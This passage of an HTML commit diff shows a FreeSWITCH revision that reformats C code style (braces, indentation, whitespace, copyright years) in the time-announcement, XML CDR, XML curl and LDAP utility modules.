</ins><span class="cx">                         say_file("time/tomorrow.wav");
</span><del>- }
- else if ((this_morning - 7*86400L) <= then && then < this_morning)
- {
-                 say_file("time/day-%d.wav", tm.tm_wday);
- }
- else
- {
- if (tm2->tm_year != tm.tm_year)
- {
- say_num(tm.tm_year + 1900, SSM_ITERATED);
-                 say_file("time/year.wav");
- }
- /*endif*/
- if (tm2->tm_year != tm.tm_year
- ||
- tm2->tm_mon != tm.tm_mon)
- {
-                 say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
-                 say_file("time/month.wav");
- }
- /*endif*/
- /* Always say the day and the day of the week */
-                 say_num(tm.tm_mday, SSM_PRONOUNCED);
-                 say_file("time/day.wav");
-                 say_file("time/day-%d.wav", tm.tm_wday);
- }
</del><ins>+                } else if ((this_morning - 7 * 86400L) <= then && then < this_morning) {
+                        say_file("time/day-%d.wav", tm.tm_wday);
+                } else {
+                        if (tm2->tm_year != tm.tm_year) {
+                                say_num(tm.tm_year + 1900, SSM_ITERATED);
+                                say_file("time/year.wav");
+                        }
+                        /*endif */
+                        if (tm2->tm_year != tm.tm_year || tm2->tm_mon != tm.tm_mon) {
+                                say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
+                                say_file("time/month.wav");
+                        }
+                        /*endif */
+                        /* Always say the day and the day of the week */
+                        say_num(tm.tm_mday, SSM_PRONOUNCED);
+                        say_file("time/day.wav");
+                        say_file("time/day-%d.wav", tm.tm_wday);
+                }
</ins><span class="cx"> #endif
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -506,13 +465,13 @@
</span><span class="cx">                 int32_t hour = tm.tm_hour;
</span><span class="cx">
</span><span class="cx">                 if (hour < 6) {
</span><del>- say_file("time/morning.wav");
</del><ins>+                        say_file("time/morning.wav");
</ins><span class="cx">                 } else if (hour < 12) {
</span><del>- say_file("time/am.wav");
</del><ins>+                        say_file("time/am.wav");
</ins><span class="cx">                 } else if (tm.tm_hour < 18) {
</span><del>- say_file("time/pm.wav");
</del><ins>+                        say_file("time/pm.wav");
</ins><span class="cx">                 } else {
</span><del>- say_file("time/evening.wav");
</del><ins>+                        say_file("time/evening.wav");
</ins><span class="cx">                 }
</span><span class="cx">                 if (hour > 12)
</span><span class="cx">                         hour -= 12;
</span><span class="lines">@@ -530,7 +489,7 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         say_num(tm.tm_min, SSM_PRONOUNCED);
</span><span class="cx">                 }
</span><del>-                say_file("time/minute.wav");
</del><ins>+                say_file("time/minute.wav");
</ins><span class="cx">         }
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodxml_intmod_xml_cdrmod_xml_cdrc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_cdr/mod_xml_cdr.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/xml_int/mod_xml_cdr/mod_xml_cdr.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_cdr/mod_xml_cdr.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -42,7 +42,7 @@
</span><span class="cx">
</span><span class="cx"> static struct {
</span><span class="cx">         char *cred;
</span><del>-        char *urls[MAX_URLS+1];
</del><ins>+        char *urls[MAX_URLS + 1];
</ins><span class="cx">         int url_count;
</span><span class="cx">         int url_index;
</span><span class="cx">         switch_thread_rwlock_t *log_path_lock;
</span><span class="lines">@@ -110,27 +110,23 @@
</span><span class="cx">                                         switch_safe_free(globals.log_dir);
</span><span class="cx">                                         globals.log_dir = path;
</span><span class="cx">                                         switch_thread_rwlock_unlock(globals.log_path_lock);
</span><del>-                                }
-                                else {
</del><ins>+                                } else {
</ins><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to create new mod_xml_cdr log_dir path\n");
</span><span class="cx">                                         switch_safe_free(path);
</span><span class="cx">                                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                                 }
</span><del>-                        }
-                        else {
</del><ins>+                        } else {
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to generate new mod_xml_cdr log_dir path\n");
</span><span class="cx">                                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         }
</span><del>-                }
-                else {
</del><ins>+                } else {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Setting log file path to %s\n", globals.base_log_dir);
</span><span class="cx">                         if ((path = switch_safe_strdup(globals.base_log_dir))) {
</span><span class="cx">                                 switch_thread_rwlock_wrlock(globals.log_path_lock);
</span><span class="cx">                                 switch_safe_free(globals.log_dir);
</span><span class="cx">                                 globals.log_dir = path;
</span><span class="cx">                                 switch_thread_rwlock_unlock(globals.log_path_lock);
</span><del>-                        }
-                        else {
</del><ins>+                        } else {
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to set log_dir path\n");
</span><span class="cx">                                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         }
</span><span class="lines">@@ -152,27 +148,23 @@
</span><span class="cx">                                         switch_safe_free(globals.err_log_dir);
</span><span class="cx">                                         globals.err_log_dir = path;
</span><span class="cx">                                         switch_thread_rwlock_unlock(globals.log_path_lock);
</span><del>-                                }
-                                else {
</del><ins>+                                } else {
</ins><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to create new mod_xml_cdr err_log_dir path\n");
</span><span class="cx">                                         switch_safe_free(path);
</span><span class="cx">                                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                                 }
</span><del>-                        }
-                        else {
</del><ins>+                        } else {
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to generate new mod_xml_cdr err_log_dir path\n");
</span><span class="cx">                                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         }
</span><del>-                }
-                else {
</del><ins>+                } else {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Setting err log file path to %s\n", globals.base_err_log_dir);
</span><span class="cx">                         if ((path = switch_safe_strdup(globals.base_err_log_dir))) {
</span><span class="cx">                                 switch_thread_rwlock_wrlock(globals.log_path_lock);
</span><span class="cx">                                 switch_safe_free(globals.err_log_dir);
</span><span class="cx">                                 globals.err_log_dir = path;
</span><span class="cx">                                 switch_thread_rwlock_unlock(globals.log_path_lock);
</span><del>-                        }
-                        else {
</del><ins>+                        } else {
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to set err_log_dir path\n");
</span><span class="cx">                                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         }
</span><span class="lines">@@ -199,7 +191,7 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         int is_b;
</span><del>-        const char * a_prefix = "";
</del><ins>+        const char *a_prefix = "";
</ins><span class="cx">
</span><span class="cx">         if (globals.shutdown) {
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -209,7 +201,8 @@
</span><span class="cx">         if (!globals.log_b && is_b) {
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        if (!is_b && globals.prefix_a) a_prefix = "a_";
</del><ins>+        if (!is_b && globals.prefix_a)
+                a_prefix = "a_";
</ins><span class="cx">
</span><span class="cx">         if (switch_ivr_generate_xml_cdr(session, &cdr) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Generating Data!\n");
</span><span class="lines">@@ -236,7 +229,7 @@
</span><span class="cx"> #ifdef _MSC_VER
</span><span class="cx">                         if ((fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR)) > -1) {
</span><span class="cx"> #else
</span><del>-                        if ((fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR| S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH)) > -1) {
</del><ins>+                        if ((fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH)) > -1) {
</ins><span class="cx"> #endif
</span><span class="cx">                                 int wrote;
</span><span class="cx">                                 wrote = write(fd, xml_text, (unsigned) strlen(xml_text));
</span><span class="lines">@@ -253,14 +246,13 @@
</span><span class="cx">                         }
</span><span class="cx">                         switch_safe_free(path);
</span><span class="cx">                 }
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 switch_thread_rwlock_unlock(globals.log_path_lock);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* try to post it to the web server */
</span><span class="cx">         if (globals.url_count) {
</span><del>-                char* destUrl = NULL;
</del><ins>+                char *destUrl = NULL;
</ins><span class="cx">                 curl_handle = curl_easy_init();
</span><span class="cx">
</span><span class="cx">                 if (globals.encode == ENCODING_TEXTXML) {
</span><span class="lines">@@ -306,19 +298,19 @@
</span><span class="cx">                         slist = curl_slist_append(slist, "Expect:");
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_HTTPHEADER, slist);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (globals.ssl_cert_file) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_SSLCERT, globals.ssl_cert_file);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (globals.ssl_key_file) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_SSLKEY, globals.ssl_key_file);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (globals.ssl_key_password) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_SSLKEYPASSWD, globals.ssl_key_password);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (globals.ssl_version) {
</span><span class="cx">                         if (!strcasecmp(globals.ssl_version, "SSLv3")) {
</span><span class="cx">                                 curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_SSLv3);
</span><span class="lines">@@ -326,7 +318,7 @@
</span><span class="cx">                                 curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (globals.ssl_cacert_file) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_CAINFO, globals.ssl_cacert_file);
</span><span class="cx">                 }
</span><span class="lines">@@ -340,7 +332,7 @@
</span><span class="cx">                         if (cur_try > 0) {
</span><span class="cx">                                 switch_yield(globals.delay * 1000000);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         destUrl = switch_mprintf("%s?uuid=%s", globals.urls[globals.url_index], switch_core_session_get_uuid(session));
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_URL, destUrl);
</span><span class="cx">
</span><span class="lines">@@ -348,11 +340,11 @@
</span><span class="cx">                                 curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
</span><span class="cx">                                 curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (globals.enable_cacert_check) {
</span><span class="cx">                                 curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, TRUE);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (globals.enable_ssl_verifyhost) {
</span><span class="cx">                                 curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 2);
</span><span class="cx">                         }
</span><span class="lines">@@ -363,7 +355,7 @@
</span><span class="cx">                         if (httpRes == 200) {
</span><span class="cx">                                 goto success;
</span><span class="cx">                         } else {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Got error [%ld] posting to web server [%s]\n",
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Got error [%ld] posting to web server [%s]\n",
</ins><span class="cx">                                                                  httpRes, globals.urls[globals.url_index]);
</span><span class="cx">                                 globals.url_index++;
</span><span class="cx">                                 switch_assert(globals.url_count <= MAX_URLS);
</span><span class="lines">@@ -449,11 +441,11 @@
</span><span class="cx">         /*.on_hangup */ NULL,
</span><span class="cx">         /*.on_exchange_media */ NULL,
</span><span class="cx">         /*.on_soft_execute */ NULL,
</span><del>-        /*.on_consume_media*/ NULL,
-        /*.on_hibernate*/ NULL,
-        /*.on_reset*/ NULL,
-        /*.on_park*/ NULL,
-        /*.on_reporting*/ my_on_reporting
</del><ins>+        /*.on_consume_media */ NULL,
+        /*.on_hibernate */ NULL,
+        /*.on_reset */ NULL,
+        /*.on_park */ NULL,
+        /*.on_reporting */ my_on_reporting
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_xml_cdr_load)
</span><span class="lines">@@ -477,7 +469,7 @@
</span><span class="cx">         globals.disable100continue = 0;
</span><span class="cx">         globals.pool = pool;
</span><span class="cx">         globals.auth_scheme = CURLAUTH_BASIC;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_thread_rwlock_create(&globals.log_path_lock, pool);
</span><span class="cx">
</span><span class="cx">         /* parse the config */
</span><span class="lines">@@ -558,7 +550,7 @@
</span><span class="cx">                                         globals.auth_scheme = 0;
</span><span class="cx">                                         val++;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!strcasecmp(val, "basic")) {
</span><span class="cx">                                         globals.auth_scheme |= CURLAUTH_BASIC;
</span><span class="cx">                                 } else if (!strcasecmp(val, "digest")) {
</span><span class="lines">@@ -603,7 +595,7 @@
</span><span class="cx"> {
</span><span class="cx">
</span><span class="cx">         globals.shutdown = 1;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_remove_state_handler(&state_handlers);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodxml_intmod_xml_curlmod_xml_curlc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_curl/mod_xml_curl.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/xml_int/mod_xml_curl/mod_xml_curl.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_curl/mod_xml_curl.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -74,14 +74,14 @@
</span><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> typedef struct hash_node {
</span><del>- switch_hash_t* hash;
- struct hash_node* next;
</del><ins>+        switch_hash_t *hash;
+        struct hash_node *next;
</ins><span class="cx"> } hash_node_t;
</span><span class="cx">
</span><span class="cx"> static struct {
</span><del>- switch_memory_pool_t* pool;
- hash_node_t* hash_root;
- hash_node_t* hash_tail;
</del><ins>+        switch_memory_pool_t *pool;
+        hash_node_t *hash_root;
+        hash_node_t *hash_tail;
</ins><span class="cx"> } globals;
</span><span class="cx">
</span><span class="cx"> #define XML_CURL_SYNTAX "[debug_on|debug_off]"
</span><span class="lines">@@ -120,7 +120,7 @@
</span><span class="cx">         config_data->bytes += realsize;
</span><span class="cx">
</span><span class="cx">         if (config_data->bytes > config_data->max_bytes) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int)config_data->bytes);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int) config_data->bytes);
</ins><span class="cx">                 config_data->err = 1;
</span><span class="cx">                 return 0;
</span><span class="cx">         }
</span><span class="lines">@@ -154,7 +154,7 @@
</span><span class="cx">         char basic_data[512];
</span><span class="cx">         char *uri = NULL;
</span><span class="cx">         char *dynamic_url = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         gethostname(hostname, sizeof(hostname));
</span><span class="cx">
</span><span class="cx">         if (!binding) {
</span><span class="lines">@@ -170,7 +170,7 @@
</span><span class="cx">
</span><span class="cx">                 return xml;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_snprintf(basic_data, sizeof(basic_data), "hostname=%s&section=%s&tag_name=%s&key_name=%s&key_value=%s",
</span><span class="cx">                                         hostname, section, switch_str_nil(tag_name), switch_str_nil(key_name), switch_str_nil(key_value));
</span><span class="cx">
</span><span class="lines">@@ -198,7 +198,7 @@
</span><span class="cx">                 uri = malloc(strlen(data) + strlen(dynamic_url) + 16);
</span><span class="cx">                 switch_assert(uri);
</span><span class="cx">                 sprintf(uri, "%s%c%s", dynamic_url, strchr(dynamic_url, '?') != NULL ? '&' : '?', data);
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         switch_uuid_get(&uuid);
</span><span class="cx">         switch_uuid_format(uuid_str, &uuid);
</span><span class="lines">@@ -237,7 +237,7 @@
</span><span class="cx">
</span><span class="cx">                 if (binding->timeout) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, binding->timeout);
</span><del>- curl_easy_setopt(curl_handle, CURLOPT_NOSIGNAL, 1);
</del><ins>+                        curl_easy_setopt(curl_handle, CURLOPT_NOSIGNAL, 1);
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (binding->disable100continue) {
</span><span class="lines">@@ -248,19 +248,19 @@
</span><span class="cx">                 if (binding->enable_cacert_check) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, TRUE);
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (binding->ssl_cert_file) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_SSLCERT, binding->ssl_cert_file);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (binding->ssl_key_file) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_SSLKEY, binding->ssl_key_file);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (binding->ssl_key_password) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_SSLKEYPASSWD, binding->ssl_key_password);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (binding->ssl_version) {
</span><span class="cx">                         if (!strcasecmp(binding->ssl_version, "SSLv3")) {
</span><span class="cx">                                 curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_SSLv3);
</span><span class="lines">@@ -268,15 +268,15 @@
</span><span class="cx">                                 curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (binding->ssl_cacert_file) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_CAINFO, binding->ssl_cacert_file);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (binding->enable_ssl_verifyhost) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 2);
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (binding->cookie_file) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_COOKIEJAR, binding->cookie_file);
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_COOKIEFILE, binding->cookie_file);
</span><span class="lines">@@ -301,7 +301,8 @@
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Parsing Result!\n");
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Received HTTP error %ld trying to fetch %s\ndata: [%s]\n", httpRes, binding->url, data);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Received HTTP error %ld trying to fetch %s\ndata: [%s]\n", httpRes, binding->url,
+                                                         data);
</ins><span class="cx">                         xml = NULL;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -359,7 +360,7 @@
</span><span class="cx">                 char *ssl_cacert_file = NULL;
</span><span class="cx">                 uint32_t enable_ssl_verifyhost = 0;
</span><span class="cx">                 char *cookie_file = NULL;
</span><del>-                hash_node_t* hash_node;
</del><ins>+                hash_node_t *hash_node;
</ins><span class="cx">                 int auth_scheme = CURLAUTH_BASIC;
</span><span class="cx">                 need_vars_map = 0;
</span><span class="cx">                 vars_map = NULL;
</span><span class="lines">@@ -381,7 +382,7 @@
</span><span class="cx">                                         auth_scheme = 0;
</span><span class="cx">                                         val++;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!strcasecmp(val, "basic")) {
</span><span class="cx">                                         auth_scheme |= CURLAUTH_BASIC;
</span><span class="cx">                                 } else if (!strcasecmp(val, "digest")) {
</span><span class="lines">@@ -442,13 +443,13 @@
</span><span class="cx">                 if (!url) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Binding has no url!\n");
</span><span class="cx">                         if (vars_map)
</span><del>-                         switch_core_hash_destroy(&vars_map);
</del><ins>+                                switch_core_hash_destroy(&vars_map);
</ins><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (!(binding = malloc(sizeof(*binding)))) {
</span><span class="cx">                         if (vars_map)
</span><del>-                         switch_core_hash_destroy(&vars_map);
</del><ins>+                                switch_core_hash_destroy(&vars_map);
</ins><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><span class="cx">                 memset(binding, 0, sizeof(*binding));
</span><span class="lines">@@ -472,53 +473,53 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 binding->disable100continue = disable100continue;
</span><del>-                binding->use_get_style = method != NULL && strcasecmp(method,"post") != 0;
</del><ins>+                binding->use_get_style = method != NULL && strcasecmp(method, "post") != 0;
</ins><span class="cx">                 binding->use_dynamic_url = use_dynamic_url;
</span><span class="cx">                 binding->enable_cacert_check = enable_cacert_check;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (ssl_cert_file) {
</span><span class="cx">                         binding->ssl_cert_file = strdup(ssl_cert_file);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (ssl_key_file) {
</span><span class="cx">                         binding->ssl_key_file = strdup(ssl_key_file);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (ssl_key_password) {
</span><span class="cx">                         binding->ssl_key_password = strdup(ssl_key_password);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (ssl_version) {
</span><span class="cx">                         binding->ssl_version = strdup(ssl_version);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (ssl_cacert_file) {
</span><span class="cx">                         binding->ssl_cacert_file = strdup(ssl_cacert_file);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 binding->enable_ssl_verifyhost = enable_ssl_verifyhost;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (cookie_file) {
</span><span class="cx">                         binding->cookie_file = strdup(cookie_file);
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 binding->vars_map = vars_map;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (vars_map) {
</span><del>-                 switch_zmalloc(hash_node,sizeof(hash_node_t));
-                 hash_node->hash = vars_map;
-                 hash_node->next = NULL;
-                
-                 if (!globals.hash_root) {
-                        globals.hash_root = hash_node;
-                        globals.hash_tail = globals.hash_root;
-                 }
-                
-                 else {
-                        globals.hash_tail->next = hash_node;
-                        globals.hash_tail = globals.hash_tail->next;
-                 }
-                        
</del><ins>+                        switch_zmalloc(hash_node, sizeof(hash_node_t));
+                        hash_node->hash = vars_map;
+                        hash_node->next = NULL;
+
+                        if (!globals.hash_root) {
+                                globals.hash_root = hash_node;
+                                globals.hash_tail = globals.hash_root;
+                        }
+
+                        else {
+                                globals.hash_tail->next = hash_node;
+                                globals.hash_tail = globals.hash_tail->next;
+                        }
+
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Binding [%s] XML Fetch Function [%s] [%s]\n",
</span><span class="lines">@@ -541,7 +542,7 @@
</span><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">
</span><del>-        memset(&globals,0,sizeof(globals));
</del><ins>+        memset(&globals, 0, sizeof(globals));
</ins><span class="cx">         globals.pool = pool;
</span><span class="cx">         globals.hash_root = NULL;
</span><span class="cx">         globals.hash_tail = NULL;
</span><span class="lines">@@ -562,15 +563,15 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_xml_curl_shutdown)
</span><span class="cx"> {
</span><del>-        hash_node_t* ptr = NULL;
</del><ins>+        hash_node_t *ptr = NULL;
</ins><span class="cx">
</span><del>-        while(globals.hash_root) {
-         ptr = globals.hash_root;
-         switch_core_hash_destroy(&ptr->hash);
-         globals.hash_root = ptr->next;
-         switch_safe_free(ptr);
</del><ins>+        while (globals.hash_root) {
+                ptr = globals.hash_root;
+                switch_core_hash_destroy(&ptr->hash);
+                globals.hash_root = ptr->next;
+                switch_safe_free(ptr);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_unbind_search_function_ptr(xml_url_fetch);
</span><span class="cx">         curl_global_cleanup();
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodxml_intmod_xml_ldaplutil_ldaph"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/lutil_ldap.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/lutil_ldap.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/lutil_ldap.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -23,36 +23,23 @@
</span><span class="cx"> * Include file for lutil LDAP routines
</span><span class="cx"> */
</span><span class="cx">
</span><del>-LDAP_BEGIN_DECL
</del><ins>+LDAP_BEGIN_DECL LDAP_LUTIL_F(void)
+         lutil_sasl_freedefs LDAP_P((void *defaults));
</ins><span class="cx">
</span><del>-LDAP_LUTIL_F( void )
-lutil_sasl_freedefs LDAP_P((
-        void *defaults ));
</del><ins>+LDAP_LUTIL_F(void *)
+         lutil_sasl_defaults LDAP_P((LDAP * ld, char *mech, char *realm, char *authcid, char *passwd, char *authzid));
</ins><span class="cx">
</span><del>-LDAP_LUTIL_F( void * )
-lutil_sasl_defaults LDAP_P((
-        LDAP *ld,
-        char *mech,
-        char *realm,
-        char *authcid,
-        char *passwd,
-        char *authzid ));
</del><ins>+LDAP_LUTIL_F(int)
+         lutil_sasl_interact LDAP_P((LDAP * ld, unsigned flags, void *defaults, void *p));
</ins><span class="cx">
</span><del>-LDAP_LUTIL_F( int )
-lutil_sasl_interact LDAP_P((
-        LDAP *ld, unsigned flags, void *defaults, void *p ));
-
</del><span class="cx"> LDAP_END_DECL
</span><del>-
</del><span class="cx"> #endif /* _LUTIL_LDAP_H */
</span><del>-
-typedef struct lutil_sasl_defaults_s {
- char *mech;
- char *realm;
- char *authcid;
- char *passwd;
- char *authzid;
- char **resps;
- int nresps;
-} lutilSASLdefaults;
-
</del><ins>+         typedef struct lutil_sasl_defaults_s {
+                 char *mech;
+                 char *realm;
+                 char *authcid;
+                 char *passwd;
+                 char *authzid;
+                 char **resps;
+                 int nresps;
+         } lutilSASLdefaults;
</ins></span></pre></div>
